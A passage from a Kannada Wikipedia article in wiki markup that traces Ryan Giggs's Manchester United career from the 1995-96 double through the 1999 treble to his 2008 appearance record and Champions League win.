ಮೊದಲೇ ತಪ್ಪಿಸಿಕೊಂಡ,(ಅದೂ ಅಲ್ಲದೇ ಮುಂದಿನ ಆರು ವಾರಗಳ ಮೊದಲೇ)ನಂತರ ಜನವರಿ ಕೊನೆಯಲ್ಲಿ [[ಕ್ರಿಸ್ಟಲ್ ಪ್ಯಾಲೇಸ್]] ನಲ್ಲಿ ನಡೆದ ಒಂದು ಘಟನೆಯಿಂದಾಗಿ ಆತನನ್ನು ನಿಷೇಧಿಸಲಾಯಿತು. ಆದರೆ ಯುನೈಟೆಡ್ 1995ರಲ್ಲಿ ನಡೆದ ಪಂದ್ಯಾವಳಿ ಸಂದರ್ಭದಲ್ಲಿ ಪೌಲ್ ಇನ್ಸೆ,ಮಾರ್ಕ್ ಹಗ್ಸ್ ,ಮತ್ತು ಅಂಡ್ರೆ ಕಂಚೆಲ್ಸ್ಕಿಸ್ ರನ್ನು ಮಾರಾಟ ಮಾಡಿತು.ಅದೂ ಅಲ್ಲದೇ ಆ ಸೀಜನ್ನಿನ ಯಾವುದೇ ಮಹತ್ವದ ಆಟಗಳಿಗೆ ಸಹಿ ಹಾಕಲಿಲ್ಲ.ತಂಡದಲ್ಲಿ [[ಅಂಡೀ ಕೋಲೆ]] ಅವರನ್ನು ಸೇರಿಸಿದರೂ ಸಹ ಅವರ [[£]]7ಮಿಲಿಯನ್ ಕನಸು ಪೂರ್ಣವಾಗಲಿಲ್ಲ ಎನ್ನಬಹುದು. [[ಚಿತ್ರ:Ryan Giggs United.jpg|thumb|left|upright| ಯುನೈಟೆಡ್ ಗಾಗಿ ಆಡುತ್ತಿರುವ ಗಿಗ್ಸ್.]] ಸುಮಾರು [[1995-96]]ರಲ್ಲಿ ಗಿಗ್ಸ್ ಪೂರ್ಣಪ್ರಮಾಣದ ಆಟಗಾರನಾಗಿ ಹೊರಹೊಮ್ಮಿ ಯುನೈಟೆಡ್ ನ ಅಪರೂಪದ ಎರಡನೆಯ [[ಡಬಲ್]] ಗಾಗಿ ಪ್ರಮುಖ ಪಾಲುದಾರನಾಗಿ ಆಟವಾಡಿದ.[[ಗುಡ್ಡಿಸನ್ ಪಾರ್ಕ್]] ನಲ್ಲಿ ಎವರ್ಟಾನ್ ವಿರುದ್ದದ ಆತನ ಗೋಲ್ ಸೆಪ್ಟೆಂಬರ್ 1995ರ "ವಾರ್ಷಿಕ ಗೋಲ್ " ಪ್ರಶಸ್ತಿಗೆ ಪಾತ್ರವಾಯಿತು.ನಂತರ ಇದನ್ನು [[ಮ್ಯಾಂಚೆಸ್ಟರ್ ಸಿಟಿ]]ನ [[ಜಾರ್ಜ್ ಕಿಂಕ್ಲೇಜ್]] ದಾಟಿ ತಮ್ಮ ದಾಖಲೆ ನಿರ್ಮಿಸಿದರು. ನವೆಂಬರ್ ನಲ್ಲಿ ನಡೆದ ಪಂದ್ಯಾವಳಿಯಲ್ಲಿ ಗಿಗ್ಸ್ ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ಗಾಗಿ [[ಸೌತ್ ಹ್ಯಾಂಪ್ಟನ್]] ವಿರುದ್ದ ಎರಡು ಗೋಲ್ ಮಾಡಿದರು.ಇದು ಗಿಗ್ಸ್ ನ ಅತ್ಯುನ್ನತ ಪ್ರದರ್ಶನ ಎಂದೇ ಹೇಳಬೇಕು,ಇಲ್ಲಿ ಯುನೈಟೆಡ್ 4-1ಗಳ ವಿಜಯ ಸಾಧಿಸಿತು.ಇದರಿಂದ [[ನಿವ್ ಕ್ಯಾಸ್ಟಲ್ ಯುನೈಟೆಡ್]] ಮೇಲೆ ನಿಯಂತ್ರಣ ಸಾಧಿಸಲು ಸಾಧ್ಯವಾಯಿತು.ಇಲ್ಲಿ ವಾಸ್ತವಿಕವಾಗಿ10 ಪಾಯಿಂಟ್ ಗಳ ಸ್ಪಷ್ಟ ಗೆಲುವು 23 ಡೆಸೆಂಬರ್ ನಲ್ಲಿ ಪಡೆದರೂ ಮಾರ್ಚ್ ತಿಂಗಳಿನ ಮಧ್ಯದಲ್ಲಿ ಯುನೈಟೆಡ್ ಗೆ ಮಣಿಯಬೇಕಾಯಿತು. FA ಕಪ್ ಫೈನಲ್ ನಲ್ಲಿ ಯುನೈಟೆಡ್ ಪರ ಗಿಗ್ಸ್ ಆಟವಾಡಿ 11ಮೇ 1996ರಲ್ಲಿ ಲೈವರ್ ಪೂಲ್ ವಿರುದ್ದ ಜಯ ತಂದುಕೊಟ್ಟರು.ಇದರಲ್ಲಿ [[ಎರಿಕ್ ಕ್ಯಾಂಟೊನಾ]] ಲೇಟ್ ವಿನ್ನರ್ ಮಾಡಿದಾಗ್ಯೂ ಈ ಆಟದಲ್ಲಿ ಜಯ ತಂದಿದ್ದು ಒಂದೇ ಒಂದು ಗೋಲ್ . ಇದೇ ಸಮಯದಲ್ಲಿ ಗಿಗ್ಸ್ ಗೆ ಹಲವಾರು ಹೊಸ ಯುವ ಆಟಗಾರರು ಜೊತೆಯಾದರು;[[ಗ್ಯಾರಿ ನೆವಿಲ್ಲೆ]],[[ಫಿಲ್ ನೆವಿಲ್ಲೆ]],[[ನಿಕ್ಕಿ ಬಟ್]] ,[[ಡೇವಿಡ್ ಬೆಕ್ ಹ್ಯಾಮ್]] ಮತ್ತು [[ಪೌಲ್ ಸ್ಕೊಲೆಸ್]] ಮೊದಲಾದವರು ತಂಡದವರಾದರು. ಅಂಡ್ರೆ ಕಂಚೆಲ್ಕಿಸ್ ನಿಂದ ಬೆಕ್ ಹ್ಯಾಮ್ ರೈಟ್ ವಿಂಗ್ ನ್ನು ಪಡೆದುಕೊಂಡ,ಬಟ್ ಪೌಲ್ ಇನ್ಸೆನ ಸೆಂಟ್ರಲ್ ಮಿಡ್ ಫೀಲ್ಡ್ ಪದೆಯುವಲ್ಲಿ ಸಫಲನಾದ.ಹೀಗಾಗಿ ಯುನೈಟೆಡ್ ತಂಡವು ಗಿಗ್ಸ್ ಮತ್ತು ರೊಯ್ ಕೀನೆ ಮೂಲಕ ಮತ್ತಷ್ಟು ಪ್ರಬಲವಾಯಿತು. ಈ ಮಿಡ್ ಫೀಲ್ಡ್ ಲೈನ್ ಅಪ್ ಕಂಚೆಸೆಲ್ಸ್ಕಿ ಮತ್ತು ಇನ್ಸೆ ಅವರಿಗಿಂತಲೂ ಪ್ರಬಲವಾಯಿತು. [[ಮುಂದಿನ ಪಂದ್ಯ]]ಗಳಲ್ಲಿ ಗಿಗ್ಸ್ ಗೆ ಮೊದಲ ಬಾರಿಗೆ ಯುರೊಪಿನ ಪಂದ್ಯಗಳಲ್ಲಿ ಮಿಂಚುವ ಅವಕಾಶ ದೊರಕಿತು. ಯುನೈಟೆಡ್ ತಂಡ ತನ್ನ ಮೂರನೆಯ ಲೀಗ್ ಟೈಟಲ್ ನ್ನು ನಾಲ್ಕು ಪಂದ್ಯಾವಳಿಗಳಲ್ಲಿ ಪದೆಯಿತು.[[UEFA ಚಾಂಪಿಯನ್ ಲೀಗ್]]ನ ಸೆಮಿಫೈನಲ್ ತಲುಪಲು ಗಿಗ್ಸ್ ನೆರವಾದ,ಇದು ಯುನೈಟೆಡ್ ಗೆ 28ವರ್ಷಗಳಲ್ಲಿ ತಲುಪಲಾಗದ್ದನ್ನು ತಲುಪಲಾಯಿತು. ಹೇಗೇ ಆದರೂ ಅವರ ಆಸೆಯು [[ಬೊರುಸಿಯಾ ಡೊರ್ಟ್ ಮಂಡ್]] ನಿಂದಾಗಿ ಸಫಲವಾಗದೇ ಅದು 1-0 ಗೋಲ್ ನಿಂದ ಗೆಲುವು ಸಾಧಿಸಿತು. ಇಸವಿ [[1997-98]]ರಲ್ಲಿ ಯುನೈಟೆಡ್ ತಂಡ ಅರ್ಸೆನಲ್ ಮೂಲಕ ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ಟೈಟಲ್ ಕಳೆದುಕೊಂಡದ್ದು ಮಾರ್ಚ್ ಮತ್ತು ಏಪ್ರಿಲ್ ತಿಂಗಳಿನಲ್ಲಿನ ಪಂದ್ಯಗಳಿಂದಾಗಿ 1989ರ ವರೆಗಿನ ಅವಧಿಯಲ್ಲಿ ಎರಡನೆಯ ಬಾರಿಗೆ ಯಾವುದೇ ಟ್ರೋಫಿಯಿಲ್ಲದೇ ಮರಳಬೇಕಾಯಿತು. ಈ ಪಂದ್ಯಾವಳಿಗಳಲ್ಲಿ ಗಿಗ್ಸ್ ಹಲವಾರು ಬಾರಿ ಗಾಯಗಳಿಂದಾಗಿ ಬಹಳಷ್ಟು ಆಟಗಳಿಂದಾಗಿ ವಂಚಿತನಾದ;ಆದರೆ ಮತ್ತೆ ಅಹರ್ಯನಾದಾಗ ಆತ ಯುನೈಟೆಡ್ ನ ಕಪ್ ನ ಫೈನಲ್ಸನಲ್ಲದೇ ಇತರ ಉತ್ತಮ ಆಟ ಪ್ರದರ್ಶಿಸಿದ. FA ಕಪ್ ನ ಸೆಮಿಫೈನಲ್ ನಲ್ಲಿ ಅತ್ಯಂತ ಕಡುವಿರೋಧಿ [[ಆರ್ಸೆನಲ್]] ವಿರುದ್ದ ಆತ ಎಕ್ಷ್ಟ್ರಾ ಟೈಮ್ ನಲ್ಲಿ ಗಳಿಸಿದ ಗೋಲ್ ಅತ್ಯಂತ ಮಧುರ ಕ್ಷಣವೆನ್ನಬಹುದಾಗಿದೆ.ಇದರಲ್ಲಿ ಯುನೈಟೆಡ್ ಗೆ 2-1ರ ಗೆಲುವು ತಂದುಕೊಟ್ಟ ಕೀರ್ತಿಯೂ ಅವನಿಗಿದೆ.[[UEFA ಚಾಂಪಿಯನ್ ಲೀಗ್]] 90 ನಿಮಿಷಗಳ ಎಕ್ಯುವಲೈಸರ್ ಪಂದ್ಯದಲ್ಲಿ [[ಜುವೆಂಟಸ್]] ವಿರುದ್ದ 1-1ರಲ್ಲಿ ಸಮಸಮ ಪಂದ್ಯಗಳಾಯಿತು.ನಂತರ 3-2ರ ಗೆಲುವು [[ಟುರಿನ್]] ನಲ್ಲಿ ಬಂದಾಗ ಯುನೈಟೆಡ್ ಎರಡು ಗೋಲ್ ಗಳಿಂದ ಹಿನ್ನಡೆ ಪಡೆಯಿತು. ಆದರೆ [[1998-99 ರ ಪಂದ್ಯಾವಳಿ]]ಯಲ್ಲಿನ ಹೈಪಾಯಿಂಟ್ ಎಂದರೆ [[1999 UEFA ಚಾಂಪಿಯನ್ ಲೀಗ್ ಫೈನಲ್]]ನಲ್ಲಿ ಗಿಗ್ಸ್ [[ಟೆಡ್ದಿ ಶೆರಿಂಗ್ ಹ್ಯಾಮ್]] ಗೆ ಸಮನಾದ ಗೋಲ್ ಬಾರಿಸಿ ಸಮಮಾಡಿದ.ಇದರ ಮೂಲಕ [[ಟ್ರೆಬಲ್]] ಗೆ ತಲುಪಲಾಯಿತು. ಸ್ಟ್ರೈಕರ್ [[ಒಲೆ ಗುನ್ನಾರ್ ಸೊಲ್ಸ್ಕೆಜೇರ್]] ಆಟದ ಎರಡು ನಿಮಿಷಗಳ ನಂತರ ಕೊನೆಯ ಕಿಕ್ ಮೂಲಕ ಗೆಲುವಿನ ಗೋಲ್ ಬಾರಿಸಿದ. ಆ ವರ್ಷದ ಕೊನೆಯಲ್ಲಿ ಯುನೈಟೆಡ್ [[ಪಾಮೆರಾಸ್]] ನ್ನು ಸೋಲಿಸಿ [[ಇಂಟರ್ ಕಾಂಟಿನಂಟಲ್ ಕಪ್]] ಗೆದ್ದಾಗ ಗಿಗ್ಸ್ ಮ್ಯಾನ್ ಆಫ್ ದಿ ಮ್ಯಾಚ್ ಗರಿಗೆ ಪಾತ್ರರಾದರು. ಈ ಹಂತದಲ್ಲಿ ಮಾಧ್ಯಮ ಪ್ರೊಫೈಲ್ ತನ್ನ ಇಳಿಮುಖಕಂಡುಕೊಂಡಿತು;ಪ್ರಮುಖವಾಗಿ ಕಿರಿಯ ವಯಸಿನ ಆಟಗಾರರ ದಂಡೇ ಬಂತು,ಉದಾಹರಣೆಗೆ [[ಡೇವಿಡ್ ಬೆಕ್ ಹ್ಯಾಮ್]] ಇಡೀ ಮಾಧ್ಯಮವೇ ಡೇವಿಡ್ ಬೆಕ್ ಹ್ಯಾಮ್ ನತ್ತ ತಿರುಗಿತು. === 2000 ರಿಂದ === [[ಚಿತ್ರ:Giggs cropped.jpg|thumb|upright|ರಿಯಾನ್ ಗಿಗ್ಸ್, 2006]] [[ಯುನೈಟೆಡ್]] ತಂಡಕ್ಕಾಗಿ ಅತಿ ಹೆಚ್ಚುಕಾಲ ಆಡಿದ ಆಟಗಾರನಾಗಿದ್ದಾನೆ;[[ಡೇನಿಸ್ ಇರ್ವಿನ್]] ಮೇ 2002ರಲ್ಲಿ ತಂಡ ಬಿಟ್ಟ ನಂತರ ಗಿಗ್ಸ್ ಅತ್ಯಂತ ಪ್ರಮುಖ ಆಟಗಾರನಾದ.ಆತನಿನ್ನೂ ತನ್ನ ಇಪ್ಪತ್ತನೆಯ ವಯ್ಸ್ಸಿನಲ್ಲಿರುವಾಗಲೇ ಆತ ತನ್ನ ಪ್ರಾಬಲ್ಯ ಸ್ಥಾಪಿಸಿದ. ಸುಮಾರು ನಾಲ್ಕು ವರ್ಷಗಳ ಕಾಲ [[ಟ್ರೆಬಲ್]] ಟ್ರಂಪ್ 1999ಒಳಗೊಂಡಂತೆ ಆತ ಉತ್ತಮ ಆಟಗಾರನೆನಿಸಿಕೊಂಡ. [[ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ಚಾಂಪಿಯನ್]] ನ ನಾಲ್ಕು ಪಂದ್ಯಗಳಲ್ಲಿ ಮೂರನ್ನು ಯುನೈಟೆಡ್ ಗೆದ್ದುಕೊಂಡಿತು,[[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]]ನ ಮೂರು ಕ್ವಾರ್ಟರ್ ಫೈನಲ್ ಗಳು ಮತ್ತು ಒಮ್ಮೆ ಸೆಮಿ-ಫೈನಲ್ ಗೆ ತಲುಪಿದೆ. ಆತ ತನ್ನ 10ವರ್ಷಗಳ ಆಟದ ಸ್ಮರಣೆಯನ್ನು [[ಓಲ್ಡ್ ಟ್ರಾಫೊರ್ಡ್]] ನಲ್ಲಿ ಒಂದು [[2001–02]] ನ ಪ್ರಚಾರಾಂದೋಲನದಲ್ಲಿ [[ಸೆಲ್ಟಿಕ್]] ಒಂದು ಪರೀಕ್ಷಾರ್ಥ ಪಂದ್ಯವನ್ನಾಡಿದ. ಗಿಗ್ಸ್ ನ ಚೊಚ್ಚಿಲ ಪ್ರವೇಶದ ನಂತರದ ಪಂದ್ಯಾವಳಿಗಳಲ್ಲಿಅತ್ಯಂತ ನಿರಾಶಾದಾಯಕ ಪಂದ್ಯಾವಳಿ ಸಮಯ ಇದಾಗಿತ್ತು.ಆದರೆ ಲೀಗ್ ಟೈಟಲ್ ತಪ್ಪಿತು.ಆಗ ಆಶ್ಚರ್ಯಕರ ರೀತಿಯಲ್ಲಿ ಚಾಂಪಿಯನ್ ಲೀಗ್ ನಿಂದ ಯುನೈಟೆಡ್ ತಂಡ ಹೊರಬಿದ್ದಿತು.ಸೆಮಿ ಫೈನಲ್ಸ್ ನಿಂದ [[ಜರ್ಮನ್]] ಸದಸ್ಯರಾದ [[ಬೇಯರ್ ಲೆವೆರ್ಕುಸೆನ್]] ಅವರುಗಳ ಪರಿಶ್ರಮ ಇದರಲ್ಲಿತ್ತು. ಒಂದು ವರ್ಷದ ನಂತರ 2002ರ ವಸಂತ ಕಾಲದಲ್ಲಿ [[ಸ್ಟಾಮ್ ಫೊರ್ಡ್ ಬ್ರಿಜ್]] ನಲ್ಲಿ [[ಚೆಲ್ಸಿಯಾ]] ವಿರುದ್ದದ ಪಂದ್ಯದಲ್ಲಿ ತನ್ನ ವೃತ್ತಿಬದುಕಿನ 100ನೆಯ ಗೋಲ್ ಬಾರಿಸಿದ;ಅದು ಡ್ರಾನಲ್ಲಿ ಪೂರ್ಣವಾಯಿತು. ಆತ [[FA ಕಪ್]]ನ ನಾಲ್ಕನೆಯ ಸಾಧನೆಯನ್ನು 22ಮೇ 2004ರಲ್ಲಿ ಮಾಡಿದಾಗ ಇಬ್ಬರೇ ಆಟಗಾರರು(ಇನ್ನೊಬ್ಬ [[ರೊಯ್ ಕೀನೆ]])ಇಬ್ಬರೂ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ನೊಂದಿಗೆ ಆಡಿದಾಗ ನಾಲ್ಕು ಬಾರಿ ಟ್ರೋಫಿ ತಂದುಕೊಟ್ಟರು. ಆತ ರನ್ನರ್ಸ್ ಅಪ್ ನ ಮೂರು ಬಾರಿ ಪಡೆದುಕೊಂಡನು.(1995, 2005 and 2007). ಕಳೆದ ಸೆಪ್ಟೆಂಬರ್ 2004ರಲ್ಲಿ [[ಲೈವರ್ ಪೂಲ್]] ಮೇಲಿನ ವಿಜಯದೊಂದಿಗೆ ಯುನೈಟೆಡ್ ಗಾಗಿ 600 ಆಟವಾಡಿದ ಮೂವರು ಆಟಗಾರರಲ್ಲಿ ಗಿಗ್ಸ್ ಒಬ್ಬನಾಗಿದ್ದಾನೆ.ಇನ್ನಿಬ್ಬರು [[ಬಾಬಿ ಚಾರ್ಲ್ಟನ್]] ಮತ್ತು [[ಬಿಲ್ ಫೌಲ್ಕ್ಸ್]] ಆಟಗಾರರಾಗಿದ್ದಾರೆ. ಸುಮಾರು 2005ರಲ್ಲಿ ಈತನನ್ನು [[ಇಂಗ್ಲಿಷ್ ಫೂಟ್ಬಾಲ್ ಹಾಲ್ ಆಫ್ ಫೇಮ್]] ಗೆ ಆಯ್ಕೆ ಮಾಡಲಾಯಿತು,ಈ ಹಿಂದೆ ಈತ ಇಂಗ್ಲಿಷ್ ಗೇಮ್ ಗೆ ನೀಡಿದ ಕೊಡುಗೆ ಪರಿಗಣಿಸಿ ಆಯ್ಕೆ ಮಾಡಲಾಯಿತು. ಈ ಪಂದ್ಯಾವಳಿಗಳ ನಂತರ ಗಿಗ್ಸ್ ಯುನೈಟೆಡ್ ನೊಂದಿಗೆ ಎರಡು ವರ್ಷಗಳ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದ,ಆ ಸಂದರ್ಭದಲ್ಲಿ ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಹಣಾ ಅಧಿಕಾರಿ [[ಡೇವಿಡ್ ಗಿಲ್]] ರ ನೀತಿ ಸಂಹಿತೆ ಪ್ರಕಾರ 30ವರ್ಷ ಮೇಲ್ಪಟ್ಟವರನ್ನು ಒಂದು ವರ್ಷಕ್ಕಿಂತ ಅಧಿಕ ಕಾಲದ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿಹಾಕದಂತೆ ತಡೆಯಲಾಗಿತ್ತು. ನಂತರ ಆತ ಒಂದು ವರ್ಷದ ವಿಸ್ತೃತ ಎರಡು ಒಪ್ಪಂದಗಳಿಗೆ ಸಹಿಹಾಕಿದ.ಆತನನ್ನು ಓಲ್ಡ್ ಟ್ರಾಫೊರ್ಡ್ ನಲ್ಲಿಡಲು ಅಂದರೆ ಕನಿಷ್ಟ ಜೂನ್ 2010ವರೆಗಾದರೂ,ಆಗ ಆತ 36ವರ್ಷದವನಾಗಿರುತ್ತಾನೆ; ಇರುವಂತೆ ನೋಡಿಕೊಳ್ಳಲಾಯಿತು. ಗಿಗ್ಸ್ [[ಮಂಡಿನೋವಿನ]] ಸಮಸ್ಯೆಯನ್ನೊಳಗೊಂಡಂತೆ ಹಲವಾರು ಗಾಯಗಳೊಂದಿಗೆ ಮುಕ್ತನಾಗಿ ಮತ್ತೆ ಆಟಕ್ಕೆ ಸಜ್ಜಾದ. ಕಳೆದ ಮೇ 6,2007ರಲ್ಲಿ [[ಚೆಲ್ಸೆಯಾ]]ಯು ಲಂಡನ್ ನ ತನ್ನ ವಿರೋಧಿ [[ಆರ್ಸೆನಲ್]] ನೊಂದಿಗೆ ಡ್ರಾ ಮಾದಿಕೊಂಡಿತು,ಆಗ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಚಾಂಪಿಯನ್ಸ್ ಆಫ ಇಂಗ್ಲಂಡ್ ಆಯಿತು. ಇದೇ ಸಂದರ್ಭದಲ್ಲಿ ರಿಯಾನ್ ಗಿಗ್ಸ್ ಒಂಭತ್ತು ಲೀಗ್ ಟೈಟಲ್ ಪಡೆಯುವ ಮೂಲಕ ದಾಖಲೆ ಮಾಡಿದರು,ಈ ಹಿಂದೆ [[ಅಲನ್ ಹಾನ್ಸೆನ್]] ಮತ್ತು [[ಫಿಲ್ ನೀಲ್]] ಇವರಿಬ್ಬರೂ ಎಂಟು ಟೈಟಲ್ ಗಳನ್ನು ಪಡೆದಿದ್ದರು(ಇವರು ಎಲ್ಲಾ ಟೈಟಲ್ ಗಳನ್ನು [[ಲೈವರ್ ಪೂಲ್]] ನೊಂದಿಗೆ ಪಡೆದುಕೊಂಡಿತ್ತಾರೆ.) ಯುನೈಟೆಡ್ ನ 2007ರ ಚಾರಿಟಿ ಶೀಲ್ಡ್ ಗೆಲ್ಲುವಲ್ಲಿ ಗಿಗ್ಸ್ ತಾರೆಯಾಗಿ ಮಿಂಚಿದ್ದಾರೆ,ಅದರ ಮೊದಲರ್ಧದಲ್ಲಿಉತ್ತಮ ಆಟವಾಡಿ 1-1ರ ಡ್ರಾದಲ್ಲಿ ಪರಿಸಮಾಪ್ತಿಯಾಯಿತು. ಇದು ಪೆನಾಲ್ಟಿ ಸಾಹಸದಲ್ಲಿ [[ರೆಡ್ ಡೆವಿಲ್ಸ್ ಕೀಪರ್ ಎಡ್ವಿನ್ ವ್ಯಾನ್ ಡೆರ್ ಸಾರ್]] ಚೆಲ್ಸೆಯಾದ ಮೊದಲ ಮೂರುಪೆನಾಲ್ಟಿಗಳನ್ನು ವಿಫಲಗೊಳಿಸಿದ. ಸುಮಾರು 2007-08 ರ ಪಂದ್ಯಾವಳಿಗಳಲ್ಲಿ [[ಅಲೆಕ್ಷ್ ಫರ್ಗುಸನ್]] ಗಿಗ್ಸ್ ಮತ್ತು ಹೊಸ ಪ್ರವೇಶದವರಾದ [[ನಾನಿ]] ಹಾಗು [[ಅಂಡ್ರೆಸನ್]] ಗಾಗಿ ರೊಟೇಶನ್ ಪದ್ದತಿಯನ್ನು ಜಾರಿಗೆ ತಂದರು ಓಲ್ಡ್ ಟ್ರಾಫೊರ್ಡ್ ನಲ್ಲಿ ಚೆಲ್ಸೆಯಾದೊಂದಿಗಿನ ಕದನದಲ್ಲಿ ಸಹ ಗಿಗ್ಸ್ ಮೆಚ್ಚುಗೆ ಪಡೆದ ಆಟಗಾರನೆನಿಸಿದ್ದ.[[ಕಾರ್ಲೊಸ್ ಟೆವೆಜ್]] ತನ್ನ ಮೊದಲ ಗೋಲನ್ನು [[ಯುನೈಟೆಡ್]] ಗಾಗಿ ಮಾಡಿದ. ಗಿಗ್ಸ್ ತನ್ನ 100ನೆಯ ಲೀಗ್ ಗೋಲನ್ನು ಯುನೈಟೆಡ್ ಜೊತೆ [[ಡರ್ಬಿ ಕೌಂಟಿ]] ಯಲ್ಲಿ ಆಡುವಾಗ ಅಂದರೆ 8 ಡಿಸೆಂಬರ್ 2007ರಲ್ಲಿ ಗಳಿಸಿದ;ಆಗ ಯುನೈಟೆಡ್ 4-1ಗೋಲ್ ನಿಂದ ಪಂದ್ಯ <ref>{{cite news |url=http://news.bbc.co.uk/sport1/hi/football/eng_prem/7134842.stm |title=Giggs is underrated - Ferdinand |publisher=[[BBC Sport]] |date=8 December 2007 |accessdate=29 January 2009 }}</ref> ತನ್ನದಾಗಿಸಿಕೊಂಡಿತು. ಇನ್ನೂ ಅಧಿಕ ಗೆಲುವಿನ ಹೆಜ್ಜೆಗಳು ಮೂಡಿದವು:ಫೆಬ್ರವರಿ20,2008ರಲ್ಲಿ ಆತ [[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]]ನಲ್ಲಿ [[ಲೆಯೊನ್]] ವಿರುದ್ದದ 100ನೆಯ ಪ್ರದರ್ಶನವಾಗಿತ್ತು.ಅದೇ ಮೇ11 2008ರಲ್ಲಿ [[ಪಾರ್ಕ್ ಜಿ-ಸಂಗ್]] ಗೆ ಆತ ಬದಲಿ ಆತಗಾರನಾದ,ಅಂದರೆ [[ಸರ್ ಬಾಬಿ ಚಾರ್ಲಟನ್]] ನ ಯುನೈಟೆಡ್ ಗಾಗಿ 758 ಬಾರಿ ಆಡಿದ ದಾಖಲೆ ಮುರಿಯಲು ಗಿಗ್ಸ್ <ref>{{cite web |url=http://www.uefa.com/competitions/ucl/news/kind=1/newsid=660162.html |title=Giggs signs up for 100 club in Lyon |work=uefa.com |publisher=Union of European Football Associations |date=20 February 2008 |accessdate=29 January 2009 }}</ref><ref>{{cite news |url=http://www.telegraph.co.uk/sport/football/2300209/Ryan-Giggs-reaches-Bobby-Charlton-mark.html |title=Ryan Giggs reaches Bobby Charlton mark |publisher=[[The Daily Telegraph|The Telegraph]] |first=Tim |last=Rich |date=12 May 2008 |accessdate=29 January 2009 }}</ref> ಮುಂದಾದ. ಅದಕ್ಕೆ ಪ್ರತ್ಯುತ್ತರವಾಗಿ ಗಿಗ್ಸ್ ಆ ಪಂದ್ಯದಲ್ಲಿ ಎರಡನೆಯ ಗೋಲ್ ಹೊಡೆಯುದರ ಮೂಲಕ ಮತ್ತು ಯುನೈಟೆಡ್ ಗೆ ಹತ್ತನೆಯ [[ಪ್ರಿಮಿಯರ್ ಲೀಗ್]] ಟೈಟಲ್ ತರಲು ಆತ ಶ್ರಮಪಟ್ಟ. ಹತ್ತು ದಿನಗಳ ನಂತರ 21ನೆಯ ಮೇ 2008ರಲ್ಲಿ ಗಿಗ್ಸ್ [[ಬಾಬಿ ಚಾರ್ಲಟನ್]] ಯುನೈಟೆಡ್ ಗಾಗಿ ಅತಿ ಹೆಚ್ಚು ಆಡಿದ್ದ ದಾಖಲೆಯನ್ನು [[ಪೌಲ್ ಸ್ಕೊಲ್ಸ್]] ನ ಬದಲಿ ಆಟಗಾರನಾಗುವ ಮೂಲಕ [[ಚೆಲ್ಸೆಯಾ]]ದ ವಿರುದ್ದ [[ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್ ಫೈನಲ್]] ನಲ್ಲಿ ಗಿಗ್ಸ್ ಮುರಿದ.. ಯುನೈಟೆಡ್ ಅಂತಿಮ ಪಂದ್ಯಕ್ಕೆ ಹೋಗಿ ಚೆಲ್ಸೆಯಾವನ್ನು 6-5ರಿಂದ ಗೆಲ್ಲಲು ಎಕ್ಷ್ಟ್ರಾ ಟೈಮನಲ್ಲಿ 1-1ರ ಸಮ ಗೋಲಿಗೆ ಆಟವಾಡಿ ಪಂದ್ಯ ತನ್ನದಾಗಿಸಿತು. ಯುನೈಟೆಡ್ ಗೆ ಹಠಾತ್ ಆಘಾತವಾಗುವ ಸಂದರ್ಭದಲ್ಲಿಗಿಗ್ಸ್ ([[ನಿಕೊಲಸ್ ಅನೆಲ್ಕಾ ಗ]][[ಚೆಲ್ಸಿಯಾನ್]] ಫೈನಲ್ ಪೆನಾಲ್ಟಿಯನ್ನು ತಪ್ಪಿಸಿಕೊಂಡ) ನಂತರ,[[ಸ್ಟಿವ್ ಮ್ಯಾಕ್ಮ್ಯಾನಮ್ಯನ್]] ಮತ್ತು ತಂಡದ ಸದಸ್ಯ [[ಒವೆನ್ ಹಾರ್ಗ್ರೆವ್ಸ್]] ಗಳು ಸೇರಿ ಚಾಂಪಿಯನ್ಸ್ ನ ಫೈನಲ್ ನಲ್ಲಿ ಗೆಲುವು ಪಡೆದ ಬ್ರಿಟಿಶ್ ತಂಡದ ಸದಸ್ಯರಾಗಿದ್ದಾರೆ.(ಆದರೆ ಇದು ಯುರೊಪಿಯನ್ ಕಪ್ಸ್ ಪ್ರಕಾರ ಇದು ಸತ್ಯವಲ್ಲ,ಯಾಕೆಂದರೆ ಹಲವಾರು [[ನೊಟ್ಟಿಂಗ್ ಹ್ಯಾಮ್ ಫಾರೆಸ್ಟ್]] ಸದಸ್ಯರು 1979-80ರಲ್ಲಿ ಇದನ್ನು ಸಾಧಿಸಿದ್ದಾರೆ. ಗಿಗ್ಸ್ [[ರಿಯೊ ಫೆರ್ಡಿನಾಂಡ್]] ಜೊತೆ ಸೇರಿ ಚಾಂಪಿಯನ್ ಲೀಗ್ ಟ್ರೊಫಿಯನ್ನು ತನ್ನದಾಗಿಸಿಕೊಂಡ.ನಾಯಕ [[ಗ್ಯಾರಿ ನೆವಿಲ್ಲೆ]] ಇಡೀ ಪಂದ್ಯಾವಳಿಗಳನ್ನು ಗಾಯಾಳು ಆದ್ದರಿಂದ ದೂರವೇ ಉಳಿದ. [[ಚಿತ್ರ:Ryan Giggs vs Man City 2008.jpg|thumb|left|ಫೆಬ್ರವರಿ 2008ರ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಸಿಟಿ ವಿರುದ್ದದ ಪಂದ್ಯದ ನಂತರ ಗಿಗ್ಸ್]] ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ನ 2008-09ರ ಆರಂಭಿಕ ಆಂದೋಲನದಲ್ಲಿ [[ಸರ್ ಅಲೆಕ್ಸ್ ಫೆರ್ಗುಸನ್]] ರಿಯಾನ್ ಗಿಗ್ಸ್ ನನ್ನು ಆತನ ಮಾಮೂಲಿ ಜಾಗ ಬಿಟ್ಟು ಸೆಂಟ್ರಲ್ ಮಿಡ್ ಫೀಲ್ಡ್ ಗೆ ತಂದುಮುಂಭಾಗದ ಹಿನ್ನಲೆಯಲ್ಲಿ ಆಟಕ್ಕೆ ಸಜ್ಜುಗೊಳಿಸಿದ. 